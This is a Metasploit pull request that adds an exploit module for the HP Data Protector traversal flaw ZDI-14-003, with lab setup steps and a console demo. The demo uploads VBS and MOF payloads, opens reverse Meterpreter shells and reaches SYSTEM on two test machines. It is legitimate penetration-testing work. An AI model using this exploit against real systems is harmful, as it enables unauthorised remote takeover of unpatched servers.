rapid7/metasploit-framework — pull request #2891 by jvazquez-r7 (2014-01-17 06:56:19+00:00)
Title: Add module for ZDI-14-003

Tested successfully on HP Data Protector 6.20 on Windows 2003 SP2 and Windows XP SP3 with HP Data Protector version HP Data Protector A.06.20

Verification
---------

- [ ] Install WIN 2003 SP2
- [ ] Install HP Data Protector version HP Data Protector A.06.20, internal build 370, or any other vulnerable version (6.xx < 6.21 patched according to the advisory). Ask me for installer if you can't figure it how to download from the HP Page. Had the installer archived. Not sure if it's available anymore on the HP site.
- [ ] Be sure which the vulnerable OmniInet.exe service is running on the port TCP 5555
- [ ] Run the module like in the demo, hopefully enjoy sessions

Demo
----------

```
msf > use exploit/windows/misc/hp_dataprotector_traversal
msf exploit(hp_dataprotector_traversal) > set rhost 192.168.172.244
rhost => 192.168.172.244
msf exploit(hp_dataprotector_traversal) > check

[*] 192.168.172.244:5555 - HP Data Protector version HP Data Protector A.06.20: INET, internal build 370, built on Friday, February 25, 2011, 6:41 PM
[+] The target is vulnerable.
msf exploit(hp_dataprotector_traversal) > exploit

[*] Started reverse handler on 192.168.172.1:4444
[*] 192.168.172.244:5555 - Sending malicious packet with opcode 42 to upload the vbs payload tGVDBd.vbs...
[*] 192.168.172.244:5555 - Sending malicious packet with opcode 42 to upload the mof file pwXbUDaxePyDsw.mof
[*] Sending stage (769024 bytes) to 192.168.172.244
[*] Meterpreter session 1 opened (192.168.172.1:4444 -> 192.168.172.244:1186) at 2014-01-17 00:51:00 -0600
[+] Deleted tGVDBd.vbs
[+] Deleted wbem\mof\good\pwXbUDaxePyDsw.mof

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer : JUAN-C0DE875735
OS : Windows XP (Build 2600, Service Pack 3).
Architecture : x86
System Language : en_US
Meterpreter : x86/win32
meterpreter > exit -y
[*] Shutting down Meterpreter...

[*] 192.168.172.244 - Meterpreter session 1 closed. Reason: User exit
msf exploit(hp_dataprotector_traversal) > set rhost 192.168.172.136
rhost => 192.168.172.136
msf exploit(hp_dataprotector_traversal) > check

[*] 192.168.172.136:5555 - HP Data Protector version HP Data Protector A.06.20: INET, internal build 370, built on Friday, February 25, 2011, 6:41 PM
[+] The target is vulnerable.
msf exploit(hp_dataprotector_traversal) > exploit

[*] Started reverse handler on 192.168.172.1:4444
[*] 192.168.172.136:5555 - Sending malicious packet with opcode 42 to upload the vbs payload eutCulOEpP.vbs...
[*] 192.168.172.136:5555 - Sending malicious packet with opcode 42 to upload the mof file xCTTT.mof
[*] Sending stage (769024 bytes) to 192.168.172.136
[*] Meterpreter session 2 opened (192.168.172.1:4444 -> 192.168.172.136:1137) at 2014-01-17 00:51:49 -0600
[+] Deleted eutCulOEpP.vbs
[+] Deleted wbem\mof\good\xCTTT.mof

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer : JUAN-6ED9DB6CA8
OS : Windows .NET Server (Build 3790, Service Pack 2).
Architecture : x86
System Language : en_US
Meterpreter : x86/win32
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.172.136 - Meterpreter session 2 closed. Reason: User exit
msf exploit(hp_dataprotector_traversal) >
```